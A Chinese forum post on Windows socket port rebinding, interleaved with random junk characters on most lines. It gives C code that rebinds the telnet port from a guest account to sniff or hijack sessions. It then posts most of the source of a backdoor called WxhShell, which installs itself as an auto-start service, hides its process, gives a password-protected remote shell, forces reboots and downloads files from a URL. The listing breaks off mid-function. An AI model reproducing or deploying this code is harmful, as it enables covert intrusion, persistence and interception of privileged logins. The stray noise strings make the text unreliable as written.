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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3w&fN3 1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f:$LVpXS-  
T3po.Km\{  
  saddr.sin_family = AF_INET; :1%z;  
t;BvKH77  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ENu`@S='I3  
vfID@g`!q+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QuuR_Ao?c'  
|ocIp/ $  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (qn ;MN6<  
x!\FB.h4!(  
  这意味着什么?意味着可以进行如下的攻击: |~'D8 g:Ak  
-rE_pV;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 } sTo,F$  
u<8 f ;C_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ) V}q7\G~  
@8zp(1.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .54E*V1  
C+ {du^c$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .ZSGnbJ  
GKPC9;{W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V,,/}f '  
e_C9VNP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &cj/8A5-  
%9.] bd|%F  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KX*Hev'K  
99XbpP55  
  #include ~50b$];y  
  #include &{B-a  
  #include c*nH=  
  #include    ]7WBoC8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   BKoc;20;  
  int main() _=0;5OrK1X  
  { GH%'YY3|  
  WORD wVersionRequested; Qxds]5WB/  
  DWORD ret; )tQG5.to  
  WSADATA wsaData; '& L;y  
  BOOL val; x' Z<  
  SOCKADDR_IN saddr; F",]*> r  
  SOCKADDR_IN scaddr; DJl06-s V  
  int err; )k5lA=(Yr+  
  SOCKET s; 3#>;h  
  SOCKET sc; U^_'e_)  
  int caddsize; /'|'3J]HP  
  HANDLE mt; \'( @{  
  DWORD tid;   5ug?'TOj'  
  wVersionRequested = MAKEWORD( 2, 2 ); 4}{S8fGk%  
  err = WSAStartup( wVersionRequested, &wsaData ); JL~QE-pvD  
  if ( err != 0 ) { b`Wn98s  
  printf("error!WSAStartup failed!\n"); ?sl 7C gl  
  return -1; 3Rid 1;L0U  
  } OHnHSb'?\  
  saddr.sin_family = AF_INET; AYHfe#!  
   fn|l9k~<O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #plwK-tPR  
.8is! TT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o l 67x  
  saddr.sin_port = htons(23); 1jZ:@M :  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) < 4DWH  
  { Zl]Zy}p*+  
  printf("error!socket failed!\n"); e_J_rx  
  return -1; 9kPwUAw  
  } oF/5mh__(K  
  val = TRUE; b6D}GuW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 '< OB  j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H~-zq} 4  
  { -&Fxg>FrYb  
  printf("error!setsockopt failed!\n"); %UJ!(_  
  return -1; gnbs^K w  
  } U*8;ZXi  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ? WWnt^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (_ov _3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'e-Nt&;  
v _Bu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a/+tsbw  
  { k4_Fn61J/  
  ret=GetLastError(); -B2>~#L  
  printf("error!bind failed!\n"); ie$QKoE  
  return -1; :W5*fE(i  
  } kr7f<;rmJ  
  listen(s,2); b?-%Uzp<  
  while(1) jIMaP T  
  { +MC>?rr_u  
  caddsize = sizeof(scaddr); c L*D_)?8  
  //接受连接请求 &Pt|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); EWN$ILdD  
  if(sc!=INVALID_SOCKET) .<v0y"amJ  
  { /:>f$k4~h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ygn"7  
  if(mt==NULL) '#<?QE!d2  
  { \()\pp~4  
  printf("Thread Creat Failed!\n"); XF2u<sDe  
  break; aKaqi}IT  
  } ".| 9h  
  } Vn1kC  
  CloseHandle(mt); _1*EMq6  
  } c=H(*#  
  closesocket(s); .LafP}%  
  WSACleanup(); f+0dwlIlC$  
  return 0; ?PWD[mQE\  
  }   Ze~ a+%Sb  
  DWORD WINAPI ClientThread(LPVOID lpParam) TQK>w'L  
  { !-r@_tn|  
  SOCKET ss = (SOCKET)lpParam; mLD0Lu_Ob3  
  SOCKET sc; zsI0Q47\  
  unsigned char buf[4096]; :c,\8n  
  SOCKADDR_IN saddr; Rs)tf|`/  
  long num; xZFha=#  
  DWORD val; AW6]S*rh  
  DWORD ret; v:CYf_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 YP~d1BWvf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -$;H_B+.  
  saddr.sin_family = AF_INET; C 0*k@kGy  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !.L%kw7z  
  saddr.sin_port = htons(23); [7]p\' j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |LKhT4rE  
  { .CI]8O"3y  
  printf("error!socket failed!\n"); ~/[cZY @  
  return -1; z>k6T4(  
  } H7"I+qE-G  
  val = 100; _h_;nS.Y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2Iz@lrO6  
  { T~Jl{(s9)  
  ret = GetLastError(); =b,$jCv<,5  
  return -1; [?W3XUJ,Y  
  } L3nHvKA]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *P:`{ZV7=W  
  { [x!T<jJ  
  ret = GetLastError(); ,{itnKJC  
  return -1; .)})8csl.d  
  } j]J2,J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qfppJ8L  
  { 65ijzZL;  
  printf("error!socket connect failed!\n"); "eI-Y`O,  
  closesocket(sc); j3`:;'L  
  closesocket(ss); H` Q_gy5Z(  
  return -1; a%ec: %  
  } 7H[#  
  while(1) n5UcivyX  
  { F.?:Gd1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x:;8U i"&B  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 UOF5&>MLb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |kV,B_qz  
  num = recv(ss,buf,4096,0); t K{`?NS  
  if(num>0) zo@>~G3$9  
  send(sc,buf,num,0); o'myo.k{  
  else if(num==0) &[I#5 bGk  
  break; }?*:uf  
  num = recv(sc,buf,4096,0); L7n->8Qk  
  if(num>0) !i_5Xc H  
  send(ss,buf,num,0); K]@6&H-b|  
  else if(num==0) k4pvp5}%  
  break; H) q9.Jg  
  } HJBUN1n  
  closesocket(ss); }K"=sE  
  closesocket(sc); (' `) m  
  return 0 ; S?hM  
  } R9S7p)B  
0g]ABzTn  
p`{<q -  
========================================================== Fxv~;o#  
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下边附上一个代码,,WXhSHELL OD>-^W t;%  
!bH-(K{S6  
========================================================== e[915Q_  
sXoBw.^Ir_  
#include "stdafx.h" F8b*Mt}p  
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#include <stdio.h> o,bV.O.W  
#include <string.h> CN brXN  
#include <windows.h> n{Jvx>);  
#include <winsock2.h> AP3SOT3I  
#include <winsvc.h> , X$S4>  
#include <urlmon.h> yKZ~ ^  
9]NsWd^^  
#pragma comment (lib, "Ws2_32.lib") zCO5 `%14  
#pragma comment (lib, "urlmon.lib") *PL+)2ob  
zd#qBj]g  
#define MAX_USER   100 // 最大客户端连接数 <%pi*:E|  
#define BUF_SOCK   200 // sock buffer jE2ziK  
#define KEY_BUFF   255 // 输入 buffer 8Mws?]\/q  
\jq1F9,  
#define REBOOT     0   // 重启 MrOW&7  
#define SHUTDOWN   1   // 关机 .&r] ?O  
P|HY=RM a  
#define DEF_PORT   5000 // 监听端口 s_`wLQ7e  
XZp(Po:H  
#define REG_LEN     16   // 注册表键长度 ( }JX ]-  
#define SVC_LEN     80   // NT服务名长度 UfcM2OmbK  
* +A!12s@  
// 从dll定义API &??(EA3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =\X<UA}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +|#sF,,X4g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2U~oWg2P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ku,Efr  
Y;&Cmi  
// wxhshell配置信息 Ks7s2vK^  
struct WSCFG { /8W}o/,s5  
  int ws_port;         // 监听端口 \,p)  
  char ws_passstr[REG_LEN]; // 口令 +qsdA#2  
  int ws_autoins;       // 安装标记, 1=yes 0=no webT  
  char ws_regname[REG_LEN]; // 注册表键名 *WMcE$w/D  
  char ws_svcname[REG_LEN]; // 服务名 ?0'bf y]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pk;bx2CP8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T'Jw\u>"R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >@ H:+0h-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V7rcnk#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y0(k7D|\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A FfgGO  
/ d6mlQS  
}; IHxX:a/iv  
5r zB "L  
// default Wxhshell configuration X*S|aNaLWW  
struct WSCFG wscfg={DEF_PORT, ",Q\A I  
    "xuhuanlingzhe", !EpP-bq'*  
    1, >2VB.f  
    "Wxhshell", hCr7%`  
    "Wxhshell", }s{zy:1O  
            "WxhShell Service", >-)i_C2  
    "Wrsky Windows CmdShell Service", S'3l<sY  
    "Please Input Your Password: ", |:H[Y"$1;  
  1, |_O; U=2  
  "http://www.wrsky.com/wxhshell.exe", i"w$D{N  
  "Wxhshell.exe" mi97$Cr2  
    }; (x.K%QC)  
PjsQ+5[>  
// 消息定义模块 :O//A6 v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s/,St!A 4!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /}M@ @W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  ZfvFs  
char *msg_ws_ext="\n\rExit."; AFMAgf{bD  
char *msg_ws_end="\n\rQuit."; aYPzN<"%  
char *msg_ws_boot="\n\rReboot..."; -QZped;?*  
char *msg_ws_poff="\n\rShutdown..."; 4s"8e]q=  
char *msg_ws_down="\n\rSave to "; bd)A6a\h  
u1]5qtg"  
char *msg_ws_err="\n\rErr!"; cHJ &a`;  
char *msg_ws_ok="\n\rOK!"; M5%u>$2  
M6 0(yTm  
char ExeFile[MAX_PATH]; kv (N/G  
int nUser = 0; /1MO]u\  
HANDLE handles[MAX_USER]; CH9#<?l  
int OsIsNt; Z#4? /'  
fep#Kb%"e  
SERVICE_STATUS       serviceStatus; 38Wv&!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /3+7a\|mKr  
n$b/@hp$z  
// 函数声明 m! p'nP  
int Install(void); 1YM04*H  
int Uninstall(void); GhpH7% s  
int DownloadFile(char *sURL, SOCKET wsh); /ebYk-c  
int Boot(int flag); YToRG7X#  
void HideProc(void); vZXyc *  
int GetOsVer(void); VnIJ$5Y  
int Wxhshell(SOCKET wsl); q~l&EH0  
void TalkWithClient(void *cs); "2=v?,'t  
int CmdShell(SOCKET sock); i 3?zYaT  
int StartFromService(void); `7N[rs9|S  
int StartWxhshell(LPSTR lpCmdLine); C@Wm+E~;8  
B~~rLo:a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oPWvZI(\&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .[O*bk  
}B0V$  
// 数据结构和表定义 :_H$*Q=1  
SERVICE_TABLE_ENTRY DispatchTable[] = Wb*d`hzQ}  
{ pQEHWq"Q  
{wscfg.ws_svcname, NTServiceMain}, Yq;S%.  
{NULL, NULL} {kZhje^$vi  
}; =VY[m-q5  
@~a52'\  
// 自我安装 OkFq>;{a  
int Install(void) pV>/ "K  
{ bLNQ%=FjO  
  char svExeFile[MAX_PATH]; _Thc\{aV#  
  HKEY key; 6o,, w^  
  strcpy(svExeFile,ExeFile); JLg_oK6  
o.k#|q  
// 如果是win9x系统,修改注册表设为自启动 g<{~f  
if(!OsIsNt) { = <33(   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M}@^8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JBjz2$ZM  
  RegCloseKey(key); L2K4nTA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uO BpMAJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yil{RfBEr_  
  RegCloseKey(key); i>e75`9  
  return 0; GbNVcP.ocP  
    } y< 146   
  } Vw)\#6FL  
} e@X~F6nP  
else { O'5(L9,  
E[_Z%zd^  
// 如果是NT以上系统,安装为系统服务 <pPI:D@G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P^1rNB  
if (schSCManager!=0) 0>.'w\,87B  
{ fh,Y#.V`  
  SC_HANDLE schService = CreateService 5Z;Py"%  
  ( ];Z_S`JR  
  schSCManager, y)(@  
  wscfg.ws_svcname, /nC"'d(#  
  wscfg.ws_svcdisp, I98wMV8  
  SERVICE_ALL_ACCESS, c?z% z&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JDMaLo  
  SERVICE_AUTO_START, St&XG>nWS  
  SERVICE_ERROR_NORMAL, xp,H5 m%  
  svExeFile, j[Et+V?  
  NULL, Vuz!~kLYIn  
  NULL, 8K1+ttjm  
  NULL, ZY][LU~l8  
  NULL, fxiq,o0  
  NULL 1hRC Bwx  
  ); \3Xt\1qN4  
  if (schService!=0) b!UT<:o  
  { {`1zVTp[<  
  CloseServiceHandle(schService); [i&tE.7  
  CloseServiceHandle(schSCManager); dn`#N^Od  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (T`x-wTl  
  strcat(svExeFile,wscfg.ws_svcname); k"L_0HK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SZyPl9.b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b\;QR?16R  
  RegCloseKey(key); d5u,x.R  
  return 0; 12k)Ek9  
    } I:Z38xz-[  
  } j&#p&`B  
  CloseServiceHandle(schSCManager); g=Qj9Z  
} '9RHwKu&s  
} ozGK -$  
VT0I1KQx.  
return 1; ?DpMR/  
} OO\UF6MCU  
6%fU}si,  
// 自我卸载 4#=^YuKaF1  
int Uninstall(void) c{&sf y  
{ 9$Hgh7'hvs  
  HKEY key; SUvHLOA  
^TB%| yZ _  
if(!OsIsNt) { 4$y|z{[< 5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4\-kzGgmo  
  RegDeleteValue(key,wscfg.ws_regname); `%rqQnVB  
  RegCloseKey(key); wdp 4-*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u/hD9g~H7K  
  RegDeleteValue(key,wscfg.ws_regname); AoTL )',  
  RegCloseKey(key); O-:~6A  
  return 0; /S|Pq!4<  
  } f5`exfdHE  
} s<^UAdLnl  
} 7] ~'8  
else { 2#|Q =rWB  
LR`/pet  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); beO*|  
if (schSCManager!=0) I-+D+DhRx  
{ WxIP~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P:CwC"z>sS  
  if (schService!=0) L18Olu  
  { McA,  
  if(DeleteService(schService)!=0) { @n})oAC,  
  CloseServiceHandle(schService); d)q{s(<;  
  CloseServiceHandle(schSCManager); b}k`'++2,  
  return 0; T\2cAW5  
  } @dO~0dF  
  CloseServiceHandle(schService); u6|7P<HUfb  
  } "esV#%:#J  
  CloseServiceHandle(schSCManager); iUSs)[]H>  
} *UEo&B2+  
} < v0 d8  
]l&_Pv!!  
return 1; YMm Fpy  
} =FdS'<GM  
S* <: He&1  
// 从指定url下载文件 oBIKt S*L  
int DownloadFile(char *sURL, SOCKET wsh) ~9x$tb x-  
{ 6h;$^3x$  
  HRESULT hr; t'7)aJMP  
char seps[]= "/"; = "Dmfy7  
char *token; n {^D_S  
char *file; ;2& (]1X  
char myURL[MAX_PATH]; $'kIo*cZ  
char myFILE[MAX_PATH];  E#ti  
m-ZVlj  
strcpy(myURL,sURL); a}%>i~v<  
  token=strtok(myURL,seps); ][#]4 _  
  while(token!=NULL) dZ;cs c@xv  
  { 5a4;d+  
    file=token; et)A$'Q  
  token=strtok(NULL,seps); C;STJrew  
  } `) K1[&  
LVO`+:  
GetCurrentDirectory(MAX_PATH,myFILE); -w^E~J0*L  
strcat(myFILE, "\\"); wYNh0QlBH  
strcat(myFILE, file); Rz%+E0  
  send(wsh,myFILE,strlen(myFILE),0); 'N'EC`R  
send(wsh,"...",3,0); Z?1.Y7Npr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -YRF^72+  
  if(hr==S_OK) C3WqUf<8`{  
return 0; kjjO<x?&*  
else IDwneFO  
return 1; QiB:K Pz[  
Z\`uI+`  
} z q(AN<  
J Wof<D,  
// 系统电源模块 qfG`H#cA<  
int Boot(int flag) MJDFm,  
{ }6ec2I%`o  
  HANDLE hToken; keCM}V`?"  
  TOKEN_PRIVILEGES tkp; :8\z 0  
6fQQKM@a|  
  if(OsIsNt) { vvdC.4O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W aks*^|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :'a |cjq  
    tkp.PrivilegeCount = 1; >L5[dkg%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lHr?sMt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {n2jAR9nq  
if(flag==REBOOT) { |)yO] pB:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;/ WtO2  
  return 0; o{nBtxZ"  
} aElEV e3  
else { T [&1cth  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6YYZ S2  
  return 0; =d&  
} ANi}q9SC  
  } mI9~\k&9  
  else { ~#7=gI&p@  
if(flag==REBOOT) { oM Q+=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *|ubH?71%Y  
  return 0; I}$Y[Jve  
} B0nkHm.Sj  
else { Ws.F=kS>h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I@7^H48\  
  return 0; #.#T+B+9  
} ZVk_qA%  
} /oE@F178  
\_CC6J0k  
return 1; [y64%|m  
} d#Ql>PrY  
l>H#\MR  
// win9x进程隐藏模块 PzNk:O  
void HideProc(void) mp>,TOi~s7  
{ qAHQZKk  
EL5gMs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $x#Y\dpS  
  if ( hKernel != NULL ) `a98+x?JF  
  { 7_ZfV? .  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C.Y]PdYyj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kk )9!7  
    FreeLibrary(hKernel); ~UEft  
  } Nz\=M|@(#  
gb( a`  
return; 9}:%CpD^~I  
} ggXg4~WL  
z3[ J>  
// 获取操作系统版本 |ILj}4ZA7  
int GetOsVer(void) $wub)^  
{ Nu<M~/  
  OSVERSIONINFO winfo; nV@k}IJg:?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @y2{LUJe  
  GetVersionEx(&winfo); >5'C<jc C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O#sDZ.EL  
  return 1; x9p,j  
  else >01&3-r  
  return 0; 'UUIY$V[  
} n&p i  
AKzhal!  
// 客户端句柄模块 Q+ $+{g-8  
int Wxhshell(SOCKET wsl) B_aLqB]U  
{ dpxP  
  SOCKET wsh; !Z 3iu  
  struct sockaddr_in client; DwMq  
  DWORD myID; {D={>0  
JS1$l+1  
  while(nUser<MAX_USER) U\*}}   
{ rB}Iwp8  
  int nSize=sizeof(client); Lf4c[[@%gd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [z'PdYQR/{  
  if(wsh==INVALID_SOCKET) return 1; wi|'pKG  
]N!8U_U3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G0Eqo$W)S  
if(handles[nUser]==0) -hZlFAZi  
  closesocket(wsh); 9nu!|reS  
else &Egw94l  
  nUser++; \_bk+}WJ]s  
  } ( d#E16y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >TK:&V  
vR[XbsNM  
  return 0; U(4>e!  
} [AstD9  
=aX;-  
// 关闭 socket z/dpnGX  
void CloseIt(SOCKET wsh) s{#rCc)  
{ P+tRxpz  
closesocket(wsh); Oi+9kk e  
nUser--; dUegHBw_`R  
ExitThread(0); 4^/MDM@  
} jNd."[IrO  
cv})^E$x  
// 客户端请求句柄 (S3\O `5  
void TalkWithClient(void *cs) HRS^91aK  
{ He @d~9M  
#&u9z5ywM  
  SOCKET wsh=(SOCKET)cs; ~4IkQ|,  
  char pwd[SVC_LEN]; l6] :Zcd0  
  char cmd[KEY_BUFF]; 2#%@j6  
char chr[1]; >1q W*  
int i,j; 'M8wjU  
xn|M]E1)  
  while (nUser < MAX_USER) { "ld4v+o8l  
9ozN$:  
if(wscfg.ws_passstr) { F6^Xi"R[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _=!R l#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]06orBV  
  //ZeroMemory(pwd,KEY_BUFF); uJhB>/Og  
      i=0; $2I^ ;5r[  
  while(i<SVC_LEN) { 4BF \- lq~  
L+VqTt  
  // 设置超时 W/e6O??O  
  fd_set FdRead; \JjZ _R  
  struct timeval TimeOut; G(joamfM  
  FD_ZERO(&FdRead); 'b1k0 9'  
  FD_SET(wsh,&FdRead); StZ GKY[Q  
  TimeOut.tv_sec=8; QfPsF@+-`7  
  TimeOut.tv_usec=0; P`^3-X/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T)4pLN E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CNP!v\D  
b`: n i   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4k%y*L  
  pwd=chr[0]; LGu K@^  
  if(chr[0]==0xd || chr[0]==0xa) { G)5R iRcs  
  pwd=0; sKD sps^$  
  break; LkvR]^u0  
  } uknX py))  
  i++; &gGh%:`B  
    } 0G?*i_u\  
+h*-9  
  // 如果是非法用户,关闭 socket EH1GdlhA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iR(=< >  
} :qlcN@_  
< KB V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !g|)?XWc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }[2  
%# M=qP  
while(1) { f)'m pp^  
%BBM%Lj  
  ZeroMemory(cmd,KEY_BUFF); ': fq/k3;&  
VDy2 !0  
      // 自动支持客户端 telnet标准   0i|z$QRL~  
  j=0; TjDDvXY  
  while(j<KEY_BUFF) { _`|te|ccF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MuI>ZoNF  
  cmd[j]=chr[0]; #^FDG1=  
  if(chr[0]==0xa || chr[0]==0xd) { $F&m('aB8  
  cmd[j]=0; 4 q-/R  
  break; yzI`&? P2  
  } bn*SLWWQ.3  
  j++; d-%bRGo/  
    } , yd]R4M  
"|k 4<"]  
  // 下载文件 OS - Xh-:z  
  if(strstr(cmd,"http://")) { zv.R~lMtY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $tm%=g^  
  if(DownloadFile(cmd,wsh)) GycW3tc]_&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZsnFuk#W  
  else ^mp#7OL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kMS&"/z  
  } M_BG :P5  
  else { cVb&Jzd  
pHNo1-k\  
    switch(cmd[0]) { Z(h.)$yH*=  
  Wxeg(L}E  
  // 帮助 c;6[lv  
  case '?': { Nv[MU@Tv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L|hoA9/]  
    break; bfV&z+Rv-5  
  } i$?$X,  
  // 安装 C 9{8!fYp  
  case 'i': { `xXpP"*o}  
    if(Install()) uCB>".'kM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ez)hArxns  
    else w ag^Sk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R"2wop  
    break; %$Sm ei  
    } 5|<jPc  
  // 卸载 7$ze RYD+  
  case 'r': { #Ch*a.tI@  
    if(Uninstall()) ~vPR9\e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .D8|_B  
    else I5%#A/|z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Y.GU7`  
    break; C0`Bi:Ze  
    } zhdS6Gk+  
  // 显示 wxhshell 所在路径 $S6%a9m   
  case 'p': { gfr+`4H>v  
    char svExeFile[MAX_PATH]; (/ qOY  
    strcpy(svExeFile,"\n\r"); x$L(!ZDh  
      strcat(svExeFile,ExeFile); 2j=i\B  
        send(wsh,svExeFile,strlen(svExeFile),0); ]_5qME#N  
    break; " ZYdJHM  
    } sF4+(9=  
  // 重启 RW4,j&)  
  case 'b': { %a\L^w)Xn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); my]t[%Q{  
    if(Boot(REBOOT)) WeiDg,]e$b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }mdk+IEt  
    else { ,'Sj:l  
    closesocket(wsh); '_~qAx@F#c  
    ExitThread(0); "h`oT4j5q  
    } Kj{(jT  
    break; Hy~+|hLvh  
    } Rt+ak}  
  // 关机 8 \BGL  
  case 'd': { @{q:179w^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cF V[k'F  
    if(Boot(SHUTDOWN)) +Y! P VMF  
